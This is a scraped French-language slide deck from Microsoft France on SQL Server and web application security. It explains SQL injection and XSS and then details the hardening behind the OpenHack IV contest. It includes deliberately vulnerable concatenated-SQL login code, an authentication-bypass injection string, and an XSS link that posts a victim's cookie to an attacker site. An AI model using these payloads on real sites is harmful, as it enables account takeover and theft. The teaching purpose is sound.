49
Openhack IV : Openhack IV : sécurité SQL sécurité SQL Server et Server et application Web application Web Cyril VOISIN Cyril VOISIN Chef de programme Chef de programme Sécurité Sécurité Microsoft France Microsoft France

Openhack IV : sécurité SQL Server et application Web

Embed Size (px)

DESCRIPTION

Openhack IV : sécurité SQL Server et application Web. Cyril VOISIN Chef de programme Sécurité Microsoft France. Sommaire. Introduction : notions utiles Comprendre les attaques d’injection SQL Comprendre les attaques de Cross Site Scripting L’exemple OpenHack IV Le principe - PowerPoint PPT Presentation

Citation preview

Page 1: Openhack IV :  sécurité SQL Server et application Web

Openhack IV : Openhack IV : sécurité SQL sécurité SQL Server et Server et application Web application Web

Openhack IV : Openhack IV : sécurité SQL sécurité SQL Server et Server et application Web application Web

Cyril VOISINCyril VOISINChef de programme Chef de programme SécuritéSécuritéMicrosoft FranceMicrosoft France

Page 2: Openhack IV :  sécurité SQL Server et application Web

SommaireSommaire

Introduction : notions utilesIntroduction : notions utilesComprendre les attaques d’injection SQLComprendre les attaques d’injection SQLComprendre les attaques de Cross Site ScriptingComprendre les attaques de Cross Site Scripting

L’exemple OpenHack IVL’exemple OpenHack IVLe principeLe principeL’architectureL’architectureLes composants mis en jeuLes composants mis en jeuLes bonnes pratiques utilisées pour OpenHack IVLes bonnes pratiques utilisées pour OpenHack IV

IIS 5IIS 5Windows 2000 ServerWindows 2000 ServerStratégies IPsecStratégies IPsecApplicationApplicationSQL Server 2000SQL Server 2000

Compléments sur la sécurité de SQL ServerCompléments sur la sécurité de SQL ServerLe ver Slammer et ses conséquencesLe ver Slammer et ses conséquencesRecommandations de sécurisation de SQL Server 2000Recommandations de sécurisation de SQL Server 2000

ConclusionConclusion

Page 3: Openhack IV :  sécurité SQL Server et application Web

Attaque : injection Attaque : injection SQLSQLAttaque : injection Attaque : injection SQLSQL

Page 4: Openhack IV :  sécurité SQL Server et application Web

Injection SQLInjection SQL

if (isPasswordOK(Request.form("name"),Request.form("pwd"))) if (isPasswordOK(Request.form("name"),Request.form("pwd"))) {{ Response.write("Authenticated!"); Response.write("Authenticated!"); // Do stuff // Do stuff } else { } else { Response.write("Access Denied"); Response.write("Access Denied"); }}

Page 5: Openhack IV :  sécurité SQL Server et application Web

function isPasswordOK(strName, strPwd) { function isPasswordOK(strName, strPwd) { var fAllowLogon = false; var fAllowLogon = false; var oConn = new ActiveXObject("ADODB.Connection"); var oConn = new ActiveXObject("ADODB.Connection"); var strConnection="Data Source=c:\\auth\\auth.mdb;" var strConnection="Data Source=c:\\auth\\auth.mdb;" oConn.Open(strConnection); oConn.Open(strConnection); var strSQL = "SELECT count(*) FROM client WHERE " + var strSQL = "SELECT count(*) FROM client WHERE " + "name='" + strName + "' " + "name='" + strName + "' " + " and pwd='" + strPwd + "'"; " and pwd='" + strPwd + "'"; var oRS = new ActiveXObject("ADODB.RecordSet"); var oRS = new ActiveXObject("ADODB.RecordSet"); oRS.Open(strSQL,oConn); oRS.Open(strSQL,oConn); fAllowLogon = (oRS(0).Value > 0) ? true : false; fAllowLogon = (oRS(0).Value > 0) ? true : false; oRS.Close(); oRS.Close(); delete oRS; delete oRS; oConn.Close(); oConn.Close(); delete oConn; delete oConn; return fAllowLogon; return fAllowLogon; }}

Injection SQLInjection SQL

Page 6: Openhack IV :  sécurité SQL Server et application Web

MéchantMéchantUsername: Username: blabla' or '1' = '1blabla' or '1' = '1Password: Password: blabla' or '1' = '1blabla' or '1' = '1

SELECT count(*) SELECT count(*) FROM client FROM client WHERE name='b' or '1'='1' and pwd='b' or '1'='1'WHERE name='b' or '1'='1' and pwd='b' or '1'='1'

Où est le problème ?Où est le problème ?

GentilGentilUsername: Username: cyrilcyrilPassword: Password: &y-)&y-)4Hi=Qw84Hi=Qw8

SELECT count(*) SELECT count(*) FROM client FROM client WHERE name=‘cyril' and pwd='&y-)4Hi=Qw8'WHERE name=‘cyril' and pwd='&y-)4Hi=Qw8'

Page 7: Openhack IV :  sécurité SQL Server et application Web

SolutionsSolutionsD’une manière générale, il ne faut D’une manière générale, il ne faut

jamais faire confiance à ce qu’a entré jamais faire confiance à ce qu’a entré l’utilisateurl’utilisateur

Ne pas utiliser la concaténation de Ne pas utiliser la concaténation de chaînechaîne

Utiliser des procédures stockéesUtiliser des procédures stockées

Autre possibilité : requêtes paramétréesAutre possibilité : requêtes paramétrées

D’où l’importance d’avoir des D’où l’importance d’avoir des développeurs sensibilisés et formés développeurs sensibilisés et formés sur le sujetsur le sujet

Page 8: Openhack IV :  sécurité SQL Server et application Web

Attaque : Cross Site Attaque : Cross Site Scripting (XSS)Scripting (XSS)Attaque : Cross Site Attaque : Cross Site Scripting (XSS)Scripting (XSS)

Page 9: Openhack IV :  sécurité SQL Server et application Web

Cross Site Scripting (XSS)Cross Site Scripting (XSS)

Vulnérabilité très couranteVulnérabilité très couranteUne faille côté serveur sert à compromettre le clientUne faille côté serveur sert à compromettre le clientL’erreur consiste simplement à reproduire les entrées L’erreur consiste simplement à reproduire les entrées sans les valider !sans les valider !Le contenu d’une page Web est traité d’après sa Le contenu d’une page Web est traité d’après sa source (par ex: un serveur Web a le droit de réclamer source (par ex: un serveur Web a le droit de réclamer l’accès à son cookie mais pas un autre serveur)l’accès à son cookie mais pas un autre serveur)Le but est d’ici de faire renvoyer au serveur une page Le but est d’ici de faire renvoyer au serveur une page Web contenant un contenu défini par l’attaquantWeb contenant un contenu défini par l’attaquantComment ? En utilisant un problème sur le serveur Comment ? En utilisant un problème sur le serveur Web qui ne filtre pas correctement les entrées des Web qui ne filtre pas correctement les entrées des utilisateurs :utilisateurs :

Lien qui reproduit un de ses paramètres dans son renduLien qui reproduit un de ses paramètres dans son renduPage qui contient des données stockées dans une base de Page qui contient des données stockées dans une base de données non traitéesdonnées non traitéesFormulaire…Formulaire…

Page 10: Openhack IV :  sécurité SQL Server et application Web

XSS en Action XSS en Action scénario avec un lienscénario avec un lien

Les acteursLes acteursBarry, Barry,

‘‘Le Méchant’Le Méchant’

Marie, Marie, ‘‘L’innocente’L’innocente’

Le piègeLe piègeBarry veut voler le cookie de Marie pour le siteBarry veut voler le cookie de Marie pour le sitepleindetrous.compleindetrous.com..

Page 11: Openhack IV :  sécurité SQL Server et application Web

XSS en ActionXSS en Actionbienvenue.aspBonjour <%= request.querystring(‘name’)%>

Possède le site mechant.com

Page 12: Openhack IV :  sécurité SQL Server et application Web

XSS en Action XSS en Action

<a href=http://www.pleindetrous.com/bienvenue.asp?name= <FORM action=http://www.mechant.com/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> >here</a>

Page 13: Openhack IV :  sécurité SQL Server et application Web

OpenHack IVOpenHack IVOpenHack IVOpenHack IV

Description résumée de la Description résumée de la configuration mise en configuration mise en œuvre par Microsoft pour œuvre par Microsoft pour remporter le 4remporter le 4èmeème concours concours OpenHackOpenHack

Page 14: Openhack IV :  sécurité SQL Server et application Web

OpenHack IVOpenHack IV

Concours organisé par eWeek (22 octobre au 8 Concours organisé par eWeek (22 octobre au 8 novembre 2002)novembre 2002)Sécurité d’une application d’entreprise exposée sur Sécurité d’une application d’entreprise exposée sur le Weble WebLes fournisseurs mirent en place une solution à Les fournisseurs mirent en place une solution à partir de l’application Web exemple fournie par partir de l’application Web exemple fournie par eWeek (site Web eWeek eXcellence Awards)eWeek (site Web eWeek eXcellence Awards)Un appel fut alors lancé pour venir compromettre Un appel fut alors lancé pour venir compromettre les solutions !les solutions !

Les brèches autorisées (et récompensées) : cross-site Les brèches autorisées (et récompensées) : cross-site scripting, divulgation de code source de page Web scripting, divulgation de code source de page Web dynamique, défiguration de page Web, envoi réussi de dynamique, défiguration de page Web, envoi réussi de commandes SQL malicieuses aux bases de données, et commandes SQL malicieuses aux bases de données, et vol des données de cartes de crédit dans les bases de vol des données de cartes de crédit dans les bases de données. données.

La solution Microsoft n’a pas été compromise La solution Microsoft n’a pas été compromise malgré les 82500 tentatives d’attaquesmalgré les 82500 tentatives d’attaques

Page 15: Openhack IV :  sécurité SQL Server et application Web

Composants mis en jeuComposants mis en jeuApplication WebApplication WebIIS 5.0IIS 5.0Windows 2000 Advanced ServerWindows 2000 Advanced ServerStratégies IPsecStratégies IPsecGestion et surveillance à distanceGestion et surveillance à distanceSQL Server 2000SQL Server 2000Mots de passeMots de passe

Défense en profondeur (stratégie de Défense en profondeur (stratégie de défense par couches successives)défense par couches successives)Remarque: Remarque: aucun pare-feu utilisé!aucun pare-feu utilisé!

Page 16: Openhack IV :  sécurité SQL Server et application Web

ArchitectureArchitecture

AdministrateurAdministrateur

RRASRRAS

IISIIS SQL ServerSQL Server

Terminal Terminal ServicesServices

routeurrouteur

Page 17: Openhack IV :  sécurité SQL Server et application Web

IIS 5.0IIS 5.0

Dernier Service Pack + tous les Dernier Service Pack + tous les correctifs de sécurité appliquéscorrectifs de sécurité appliquésChangement du répertoire d’IIS de C:\Changement du répertoire d’IIS de C:\inetpub\ vers un autre volume (cf inetpub\ vers un autre volume (cf attaque ..\)attaque ..\)Exécution de l’outil (gratuit) IIS Exécution de l’outil (gratuit) IIS Lockdown en mode serveur Web Lockdown en mode serveur Web statique pour réduire la surface statique pour réduire la surface d’attaque et supprimer le support de d’attaque et supprimer le support de types de contenu dynamiquetypes de contenu dynamiqueInstallation de .NET, ses correctifs, Installation de .NET, ses correctifs, MDACMDAC

Page 18: Openhack IV :  sécurité SQL Server et application Web

IIS 5.0IIS 5.0

Exceptés les .aspx, quelques types d’images Exceptés les .aspx, quelques types d’images et de feuilles de style, toutes les extensions et de feuilles de style, toutes les extensions redirigées vers 404.dll d’IIS Lockdownredirigées vers 404.dll d’IIS Lockdown

Exécution du code ASP.NET avec un compte Exécution du code ASP.NET avec un compte avec peu de privilèges (ASPNET)avec peu de privilèges (ASPNET)

Ajout du compte ASPNET au groupe « Web Ajout du compte ASPNET au groupe « Web application group » d’IIS Lockdown pour lui application group » d’IIS Lockdown pour lui interdire l’exécution des exécutables en interdire l’exécution des exécutables en ligne de commande non autorisés en cas de ligne de commande non autorisés en cas de brèchebrèche

Autorisation d’exécution du compilateur C# Autorisation d’exécution du compilateur C# et du convertisseur de ressourceset du convertisseur de ressources

Page 19: Openhack IV :  sécurité SQL Server et application Web

IIS 5.0IIS 5.0

URLScan 2.5URLScan 2.5Filtre ISAPI pour IIS, configurable, qui bloque les Filtre ISAPI pour IIS, configurable, qui bloque les URL qui ressemblent à des attaquesURL qui ressemblent à des attaques

Autorisation explicite des extensions gérées, Autorisation explicite des extensions gérées, blocage de tout le resteblocage de tout le reste

Blocage des requêtes trop longuesBlocage des requêtes trop longues

Permissions sur les répertoires de contenu Permissions sur les répertoires de contenu Web (lecture pour ASPNET, lecture seule Web (lecture pour ASPNET, lecture seule pour utilisateur anonyme)pour utilisateur anonyme)

Restrictions d’accès sur les répertoires de Restrictions d’accès sur les répertoires de log d’IIS et d’URLScan (SYSTEM et log d’IIS et d’URLScan (SYSTEM et Administrators seulement)Administrators seulement)

Page 20: Openhack IV :  sécurité SQL Server et application Web

Windows 2000 ServerWindows 2000 Server

Dernier SP + tous les correctifsDernier SP + tous les correctifs

Désactivation des services inutiles Désactivation des services inutiles (Messenger, Alerter, Clipbook,…)(Messenger, Alerter, Clipbook,…)

Suppression des LMHashesSuppression des LMHashes

Pas d’exemption IPsec (port source Pas d’exemption IPsec (port source 88)88)

Désactivation du routage IP par la Désactivation du routage IP par la sourcesource

Réglage anti SYN-floodRéglage anti SYN-flood

Page 21: Openhack IV :  sécurité SQL Server et application Web

Stratégies IPsecStratégies IPsec

Configurées localement Configurées localement

AvantagesAvantagesDéclaration explicite du trafic nécessaire Déclaration explicite du trafic nécessaire pour utiliser et administrer l’applicationpour utiliser et administrer l’application

Authentification des communications Authentification des communications entre systèmes par certificatsentre systèmes par certificats

Authentification et chiffrement du trafic Authentification et chiffrement du trafic d’administrationd’administration

Blocage de tout trafic non explicitement Blocage de tout trafic non explicitement autorisé (règle de refus par défaut)autorisé (règle de refus par défaut)

Page 22: Openhack IV :  sécurité SQL Server et application Web

Stratégies IPsecStratégies IPsec

Une stratégie a 3 composants :Une stratégie a 3 composants :Le filtre qui identifie le trafic manipuléLe filtre qui identifie le trafic manipulé

L’action qui doit être prise quand un tel L’action qui doit être prise quand un tel trafic est trouvé par le filtretrafic est trouvé par le filtre

Le mécanisme d’authentification utilisé Le mécanisme d’authentification utilisé pour établir une association de sécuritépour établir une association de sécurité

Page 23: Openhack IV :  sécurité SQL Server et application Web

Stratégies IPsecStratégies IPsec1.1. Cartographier le traficCartographier le trafic

Serveur Web doit communiquer avec la base de données Serveur Web doit communiquer avec la base de données sur le serveur SQL Serversur le serveur SQL ServerServeur RRAS doit accepter le VPN en entrée pour les Serveur RRAS doit accepter le VPN en entrée pour les administrateurs et donner accès au segment réseau administrateurs et donner accès au segment réseau d’administrationd’administrationServeur d’administration doit accepter des sessions Serveur d’administration doit accepter des sessions Terminal Server depuis le serveur RRAS, permettre Terminal Server depuis le serveur RRAS, permettre l’accès et la copie de fichiers l’accès et la copie de fichiers Tous les systèmes doivent permettre sur leur interface du Tous les systèmes doivent permettre sur leur interface du réseau privé l’ouverture d’une session Terminal Server réseau privé l’ouverture d’une session Terminal Server depuis le serveur d’administrationdepuis le serveur d’administrationTous les systèmes doivent pouvoir accéder aux partages Tous les systèmes doivent pouvoir accéder aux partages de fichiers du serveur d’administrationde fichiers du serveur d’administration

2.2. Déterminer les d’actions :Déterminer les d’actions :Bloquer Bloquer AutoriserAutoriserAuthentifier et signerAuthentifier et signerAuthentifier, signer et chiffrerAuthentifier, signer et chiffrer

Page 24: Openhack IV :  sécurité SQL Server et application Web

Stratégies IPsecStratégies IPsec3.3. Les filtresLes filtres

Blocage par défaut (tout sauf ce qui est autorisé)Blocage par défaut (tout sauf ce qui est autorisé)Permission du trafic Web à destination du Permission du trafic Web à destination du serveur Web, quelle que soit la sourceserveur Web, quelle que soit la source

Remarques : Remarques : pour émettre les certificats, une autorité de pour émettre les certificats, une autorité de certification autonome a été installée puis mise certification autonome a été installée puis mise hors ligne (Certificate Services)hors ligne (Certificate Services)La signature évite que les paquets puissent être La signature évite que les paquets puissent être modifiés alors qu’ils transitent vers les systèmes modifiés alors qu’ils transitent vers les systèmes (intégrité)(intégrité)Le chiffrement a été utilisé pour éviter les Le chiffrement a été utilisé pour éviter les écoutes des manipulations administratives écoutes des manipulations administratives (confidentialité)(confidentialité)

Page 25: Openhack IV :  sécurité SQL Server et application Web

Stratégies IPsecStratégies IPsec

Les règles sont évaluées des plus Les règles sont évaluées des plus spécifiques aux moins spécifiquesspécifiques aux moins spécifiques

Sur chaque système, les 2 règles Sur chaque système, les 2 règles suivantes étaient installées :suivantes étaient installées :

Bloquer tout le trafic IPBloquer tout le trafic IP

Bloquer tout le trafic ICMPBloquer tout le trafic ICMP

Ensuite les règles spécifiques étaient Ensuite les règles spécifiques étaient ajoutéesajoutées

Page 26: Openhack IV :  sécurité SQL Server et application Web

Stratégie IPsecStratégie IPsec

AdministrateurAdministrateur

RRASRRAS

IISIIS SQL ServerSQL Server

Terminal Terminal ServicesServices

routeurrouteur

Permit 443Permit 443

L2TP+IPsecL2TP+IPsec

Permit 445, 3389Permit 445, 3389

SHA1/3DES 445, 3389SHA1/3DES 445, 3389SHA1 2443SHA1 2443

Page 27: Openhack IV :  sécurité SQL Server et application Web

ApplicationApplication

Authentification par formulaire Authentification par formulaire (web.config), transmission en SSL(web.config), transmission en SSL

Validation des entrées (expressions Validation des entrées (expressions régulières) pour n’accepter que ce régulières) pour n’accepter que ce qui est valide qui est valide

Attention : l’approche consistant à Attention : l’approche consistant à rejeter ce qui est interdit est rejeter ce qui est interdit est déconseilléedéconseillée

Stockage de secrets (chiffrement)Stockage de secrets (chiffrement)

Page 28: Openhack IV :  sécurité SQL Server et application Web

ApplicationApplicationChaîne de connexionChaîne de connexion

Non codée en dur dans l’application !!Non codée en dur dans l’application !!

Utilisation de l’authentification intégrée WindowsUtilisation de l’authentification intégrée Windows

La chaîne ne contient alors que le nom du du La chaîne ne contient alors que le nom du du serveur et celui de la base de donnéesserveur et celui de la base de données

Chiffrée en utilisant les fonctions de l’API de Chiffrée en utilisant les fonctions de l’API de protection de données (DPAPI)protection de données (DPAPI)

CryptProtectDataCryptProtectData et et CryptUnprotectDataCryptUnprotectData

Intérêt : chiffre des secrets sans avoir à gérer ou Intérêt : chiffre des secrets sans avoir à gérer ou stocker des clésstocker des clés

Stockée dans le registreStockée dans le registre

Permission sur cette clé accordéePermission sur cette clé accordéeAux administrateursAux administrateurs

Au processus ASPNETAu processus ASPNET

Page 29: Openhack IV :  sécurité SQL Server et application Web

OpenHack - SQL ServerOpenHack - SQL ServerMachine physique isoléeMachine physique isolée

Interaction avec la base de données Interaction avec la base de données uniquement via des procédures uniquement via des procédures stockées stockées

Typage fort des paramètres. Ceux-ci Typage fort des paramètres. Ceux-ci sont vérifiés avant tout autre chosesont vérifiés avant tout autre chose

Toutes les données qui seront Toutes les données qui seront renvoyées à l’utilisateur sont renvoyées à l’utilisateur sont encodées en HTML (but : éviter une encodées en HTML (but : éviter une attaque de cross site scripting)attaque de cross site scripting)

Page 30: Openhack IV :  sécurité SQL Server et application Web

OpenHack – SQL ServerOpenHack – SQL ServerRéduction de la surface d’attaqueRéduction de la surface d’attaque

Logiciels installésLogiciels installés

AuthentificationAuthentification

Compte de serviceCompte de service

Protocoles de communicationProtocoles de communication

Permissions de l’applicationPermissions de l’application

Page 31: Openhack IV :  sécurité SQL Server et application Web

OpenHack – SQL ServerOpenHack – SQL ServerLogicielsLogiciels

Service pack 2 + les derniers correctifs de Service pack 2 + les derniers correctifs de sécurité (Remarque : à l’époque le SP3 sécurité (Remarque : à l’époque le SP3 n’était pas disponible)n’était pas disponible)Non installésNon installés

Outils de mise à jour (Upgrade tools)Outils de mise à jour (Upgrade tools)Symboles de débogageSymboles de débogageSupport de la réplicationSupport de la réplicationDocumentation en ligneDocumentation en ligneOutils de développementOutils de développement

DésactivésDésactivésMsdtcMsdtcAgent SQL ServerAgent SQL ServerMicrosoft searchMicrosoft search

Page 32: Openhack IV :  sécurité SQL Server et application Web

OpenHack – SQL ServerOpenHack – SQL ServerModification de la stratégie de sécurité Modification de la stratégie de sécurité locale pour n’autoriser que NTLMv2locale pour n’autoriser que NTLMv2Configuration en mode intégré Windows Configuration en mode intégré Windows seulementseulement

Pas besoin de stocker un identifiant et son mot Pas besoin de stocker un identifiant et son mot de passe sur le serveur Web (y compris SA) de passe sur le serveur Web (y compris SA)

Mise en place d’un mot de passe SA très Mise en place d’un mot de passe SA très très complexetrès complexe

Au cas où quelqu’un changerait “par erreur” le Au cas où quelqu’un changerait “par erreur” le mode d’authentificationmode d’authentification

Mise en place de l’audit des “Échecs”Mise en place de l’audit des “Échecs”Preuves des tentatives d’attaquesPreuves des tentatives d’attaquesMode paranoïaque : activer les “Succès” aussi Mode paranoïaque : activer les “Succès” aussi au cas où le pirate ait deviné le mot de passe…au cas où le pirate ait deviné le mot de passe…

Page 33: Openhack IV :  sécurité SQL Server et application Web

OpenHack – SQL ServerOpenHack – SQL ServerCompte de serviceCompte de service

Par défaut : LocalSystemPar défaut : LocalSystemBien trop permissif !Bien trop permissif !

Création d’un compte local non privilégié Création d’un compte local non privilégié pour le service SQLpour le service SQL

Mot de passe fortMot de passe fort

Que l’utilisateur ne peut pas changerQue l’utilisateur ne peut pas changer

Aucun accès à Terminal ServerAucun accès à Terminal Server

Si l’accès au réseau avait été nécessaire, Si l’accès au réseau avait été nécessaire, il aurait alors fallu utiliser un compte non il aurait alors fallu utiliser un compte non privilégié du domaineprivilégié du domaine

Page 34: Openhack IV :  sécurité SQL Server et application Web

OpenHack – SQL ServerOpenHack – SQL ServerProtocoles de communicationProtocoles de communication

Dans l’utilitaire réseau serveur (server network Dans l’utilitaire réseau serveur (server network utility) : cacher SQL Server des utility) : cacher SQL Server des broadcasts broadcasts de de clientsclientsEnlever le protocole canaux nommés (on a Enlever le protocole canaux nommés (on a besoin uniquement de TCP/IP)besoin uniquement de TCP/IP)

Suppression des bases exemples Suppression des bases exemples (Northwind, Pubs)(Northwind, Pubs)Création de la base de l’applicationCréation de la base de l’application

Accorder au compte de l’application les Accorder au compte de l’application les permissions sur les procédures stockées plutôt permissions sur les procédures stockées plutôt que sur les tables elles-mêmeque sur les tables elles-mêmeInterdire l’exécution de requêtes Interdire l’exécution de requêtes ad hocad hocS’assurer que ce compte n’a pas de permissions S’assurer que ce compte n’a pas de permissions ailleurs dans SQL Serverailleurs dans SQL Server

Page 35: Openhack IV :  sécurité SQL Server et application Web

Compléments sur la Compléments sur la sécurisation de SQL Server sécurisation de SQL Server

2000 : recommandations 2000 : recommandations généralesgénérales

Compléments sur la Compléments sur la sécurisation de SQL Server sécurisation de SQL Server

2000 : recommandations 2000 : recommandations généralesgénérales

Page 36: Openhack IV :  sécurité SQL Server et application Web

RecommandationsRecommandationsInstaller le dernier Service Pack (SP3a)Installer le dernier Service Pack (SP3a)Évaluer le niveau de la configuration avec MBSA :Évaluer le niveau de la configuration avec MBSA :

Service Packs et mises à jour manquantsService Packs et mises à jour manquantsVérifier si le groupe Administrateurs est répertorié en tant que Vérifier si le groupe Administrateurs est répertorié en tant que membre du rôle Sysadminmembre du rôle SysadminVérifier si CmdExec est limité exclusivement à SysadminVérifier si CmdExec est limité exclusivement à SysadminVérifier si SQL Server est exécuté sur un contrôleur de domaineVérifier si SQL Server est exécuté sur un contrôleur de domaineVérifier si le mot de passe du compte d'administrateur système Vérifier si le mot de passe du compte d'administrateur système (sa) est exposé(sa) est exposéVérification des autorisations d'accès des dossiers d'installation Vérification des autorisations d'accès des dossiers d'installation de SQL Serverde SQL ServerVérifier si le compte Invité a accès aux bases de données Vérifier si le compte Invité a accès aux bases de données Vérifier si le groupe Tout le monde a accès aux clés du Registre Vérifier si le groupe Tout le monde a accès aux clés du Registre SQL ServerSQL ServerVérifier si les comptes de service SQL Server sont membres du Vérifier si les comptes de service SQL Server sont membres du groupe Administrateurs localgroupe Administrateurs localVérifier si les comptes SQL Server utilise des mots de passe Vérifier si les comptes SQL Server utilise des mots de passe simples ou videssimples ou videsVérification du mode d'authentification de SQL ServerVérification du mode d'authentification de SQL ServerVérification du nombre de membres du rôle SysadminVérification du nombre de membres du rôle Sysadmin

Page 37: Openhack IV :  sécurité SQL Server et application Web

RecommandationsRecommandationsUtiliser l’authentification intégrée WindowsUtiliser l’authentification intégrée Windows

Dans Enterprise Manager :Dans Enterprise Manager :Expand a server group. Expand a server group.

Right-click a server, and then click Properties. Right-click a server, and then click Properties.

On the Security tab, under Authentication, click On the Security tab, under Authentication, click Windows only. Windows only.

Isoler le serveur (de manière logique et Isoler le serveur (de manière logique et physique) et le sauvegarder régulièrementphysique) et le sauvegarder régulièrement

Mettre un mot de passe fort sur saMettre un mot de passe fort sur saExpand a server group, and then expand a Expand a server group, and then expand a server. server.

Expand Security, and then click Logins. Expand Security, and then click Logins.

In the details pane, right-click SA, and then click In the details pane, right-click SA, and then click Properties. Properties.

In the Password box, type the new password. In the Password box, type the new password.

Page 38: Openhack IV :  sécurité SQL Server et application Web

RecommandationsRecommandationsLimiter les privilèges des services de Limiter les privilèges des services de SQL Server (le faire via les outils de SQL Server (le faire via les outils de SQL Server)SQL Server)Désactiver les ports de SQL Server sur Désactiver les ports de SQL Server sur votre pare-feuvotre pare-feu

TCP/1433TCP/1433UDP/1434UDP/1434

N’utiliser que des partitions NTFS N’utiliser que des partitions NTFS (permettent l’utilisation de (permettent l’utilisation de permissions et le chiffrement EFS)permissions et le chiffrement EFS)Supprimer ou sécuriser les anciens Supprimer ou sécuriser les anciens fichiers d’installation (utiliser l’outil fichiers d’installation (utiliser l’outil killpwd)killpwd)

Page 39: Openhack IV :  sécurité SQL Server et application Web

RecommandationsRecommandationsAuditer les connexions à SQL ServerAuditer les connexions à SQL Server

To enable auditing of failed connections To enable auditing of failed connections with Enterprise Manager in SQL Server:with Enterprise Manager in SQL Server:

Expand a server group. Expand a server group.

Right-click a server, and then click Properties. Right-click a server, and then click Properties.

On the Security tab, under Audit Level, click On the Security tab, under Audit Level, click Failure. Failure.

Page 40: Openhack IV :  sécurité SQL Server et application Web

Compléments sur Compléments sur SQL Server 2000 : SQL Server 2000 : le ver Slammer et ses le ver Slammer et ses conséquencesconséquences

Compléments sur Compléments sur SQL Server 2000 : SQL Server 2000 : le ver Slammer et ses le ver Slammer et ses conséquencesconséquences

Page 41: Openhack IV :  sécurité SQL Server et application Web

Slammer : conséquencesSlammer : conséquencesLe ver Slammer était le plus Le ver Slammer était le plus rapide de l’histoire, il doublait rapide de l’histoire, il doublait de taille toutes les 8.5 sec, ce de taille toutes les 8.5 sec, ce qui est 250 fois plus rapide qui est 250 fois plus rapide que « Code Red ». que « Code Red ».

Il a infecté 90 % des systèmes Il a infecté 90 % des systèmes vulnérables en 10 min.vulnérables en 10 min.

Au moins 75 000 serveurs ont Au moins 75 000 serveurs ont été infectés: vols annulés, été infectés: vols annulés, élections perturbés, élections perturbés, distributeurs d’argent arrêtés , distributeurs d’argent arrêtés , etc.etc.

Plus d’informations:Plus d’informations:

http://www.microsoft.com/security/slammer.asp http://www.microsoft.com/security/slammer.asp

http://www.caida.org/analysis/security/sapphire/http://www.caida.org/analysis/security/sapphire/

Page 42: Openhack IV :  sécurité SQL Server et application Web

24 janvier 2003 : Slammer24 janvier 2003 : SlammerVersion initiale sans chargeVersion initiale sans charge

Exploite une vulnérabilité de SQL Exploite une vulnérabilité de SQL Server 2000 et MSDE 2000 dont la Server 2000 et MSDE 2000 dont la correction était disponible depuis correction était disponible depuis juillet 2002 (et incluse dans le SP3 juillet 2002 (et incluse dans le SP3 sorti quelques jours avant l’attaque, sorti quelques jours avant l’attaque, incluant les améliorations du incluant les améliorations du Security Security PushPush))

Page 43: Openhack IV :  sécurité SQL Server et application Web

24 janvier 2003 : Slammer24 janvier 2003 : SlammerActionsActions

3 outils spécifiques développés en 3 jours3 outils spécifiques développés en 3 jours

Correctif avec installateur automatiséCorrectif avec installateur automatisé

Sortie du SP3aSortie du SP3aContenu identique au SP3 avec quelques améliorations Contenu identique au SP3 avec quelques améliorations (donc pas la peine de le passer si SP3 déjà installé, (donc pas la peine de le passer si SP3 déjà installé, mais préférable pour de nouvelles installations)mais préférable pour de nouvelles installations)

Rappel : le SP3 est la première version à avoir suivi le Rappel : le SP3 est la première version à avoir suivi le processus de développement processus de développement Trustworthy ComputingTrustworthy Computing

Réduit la surface d’attaque : pas d’écoute sur le port Réduit la surface d’attaque : pas d’écoute sur le port UDP 1434UDP 1434

Modifications dans la fourniture de SQL Server Modifications dans la fourniture de SQL Server 2000 et MSDE 20002000 et MSDE 2000

Page 44: Openhack IV :  sécurité SQL Server et application Web

SQL Server 2000 SP3 : intérêt du SQL Server 2000 SP3 : intérêt du processus de développement processus de développement Trustworthy Computing Trustworthy Computing ? ?

2002 2003 2004

7/24/02MS02-039 MS02-038

7/30/02MS02-040

4/17/02MS02-020

1/13/04MS04-003

1/17/03SP3 released

7/23/03MS03-031

6/12/02MS02-030

2/20/02MS02-007

10/2/02MS02-056

8/15/02MS02-043

7/10/02MS02-034, MS02-035

8/20/03MS03-033

11/19/02MS02-065

2/20/03SQL Server 2000 Security Tools

1/25/2003Slammer

5/20/03SP3a released

10/16/02MS02-061

Bulletins: 2002 – 12 bulletins, 4 critiques2003 – 1 Service Pack, 2 bulletins, 0 critique 2004* – 1 bulletin, 0 critique (* début avril)

CritiqueImportantModéréFaible

Page 45: Openhack IV :  sécurité SQL Server et application Web

ConclusionConclusion

Même si toutes les étapes vues ne s’appliquent Même si toutes les étapes vues ne s’appliquent pas directement à toute solution Web, la pas directement à toute solution Web, la démarche peut être retenue et ré-utilisée :démarche peut être retenue et ré-utilisée :

Planifier la sécurité dès le début (y compris la gestion des Planifier la sécurité dès le début (y compris la gestion des correctifs de sécurité)correctifs de sécurité)Toujours installer les derniers Service Pack / mises à jourToujours installer les derniers Service Pack / mises à jourToujours utiliser des mots de passe complexesToujours utiliser des mots de passe complexesRéduire la surface d’attaque en désactivant tout ce qui Réduire la surface d’attaque en désactivant tout ce qui n’est pas nécessairen’est pas nécessaireAppliquer le principe du moindre privilègeAppliquer le principe du moindre privilègeAnticiper les imperfections et mettre en place une Anticiper les imperfections et mettre en place une défense en profondeur pour réduire leurs impactsdéfense en profondeur pour réduire leurs impactsPour IIS5, utiliser IIS Lockdown et URLScanPour IIS5, utiliser IIS Lockdown et URLScanValider toutes les données en entréeValider toutes les données en entréeUtiliser des requêtes paramétrées plutôt que de générer Utiliser des requêtes paramétrées plutôt que de générer des requêtes dynamiquesdes requêtes dynamiques

Page 46: Openhack IV :  sécurité SQL Server et application Web
Page 47: Openhack IV :  sécurité SQL Server et application Web

RéférencesRéférences

